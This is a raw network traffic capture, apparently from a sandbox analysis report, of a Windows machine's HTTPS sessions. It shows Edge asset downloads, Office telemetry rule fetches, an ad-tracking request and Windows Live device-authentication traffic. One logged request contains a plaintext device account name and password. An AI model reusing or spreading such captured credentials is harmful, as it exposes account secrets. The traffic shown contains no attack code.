2024-11-11 20:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 5f09de9a-701e-0050-70d5-336767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205921Z-174f7845968l4kp6hC1EWRe88400000005ng00000000pxy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	58741	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:21 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 3f44444a-801e-0076-1066-34ecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T205921Z-174f78459685726chC1EWRsnbg00000005f000000000ke77 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 20:59:21 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-11 20:59:21 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-11 20:59:21 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	58737	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-11 20:59:21 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 62 64 76 73 66 6d 65 69 65 79 61 73 78 73 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 2a 4e 25 51 53 7a 4a 46 74 2e 6f 41 58 64 43 6a 6b 72 49 55 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02bdvsfmeieyasxs</Membername><Password>*N%QSzJFt.oAXdCjkrIU</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-11 20:59:26 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 11 Nov 2024 20:58:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 7d27a4fe-ae78-443c-a967-891e07413d75 PPServer: PPV: 30 H: SN1PEPF00040176 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 20:59:25 GMT Connection: close Content-Length: 17166
2024-11-11 20:59:26 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 32 31 43 41 46 33 41 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 39 37 35 39 34 64 64 31 2d 63 33 35 63 2d 34 65 63 30 2d 62 64 64 63 2d 65 32 31 33 35 35 66 37 35 62 61 66 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018801021CAF3AF</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="97594dd1-c35c-4ec0-bddc-e21355f75baf" LicenseID="3252b20c-d425-4711
2024-11-11 20:59:26 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	58735	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:21 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 20:59:21 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 20:59:21 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 20:58:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 0d742b1d-5960-4909-94cc-e0c1c3732cfa PPServer: PPV: 30 H: SN1PEPF0002FA81 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 20:59:21 GMT Connection: close Content-Length: 1276
2024-11-11 20:59:21 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	58686	18.65.39.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	925	OUT	GET /b?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:22 UTC	954	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 11 Nov 2024 20:59:22 GMT Location: /b2?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=194ec1d498ddfae943a29721731358762; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=194ec1d498ddfae943a29721731358762; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e4bbc916b7f96771ed58c0d668318acc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P1 X-Amz-Cf-Id: zWz4ZD7TJCaKA6YGMQmg0AOY0IpTGyaWntevYlWSKfG7pGSTNZowOQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	58750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 1c99e56d-601e-0097-76d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968cdxdrhC1EWRg0en00000005g0000000004004 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	58747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 95c6b661-501e-0078-17d5-3306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205922Z-174f7845968ljs8phC1EWRe6en00000005ag00000000bu33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	58748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
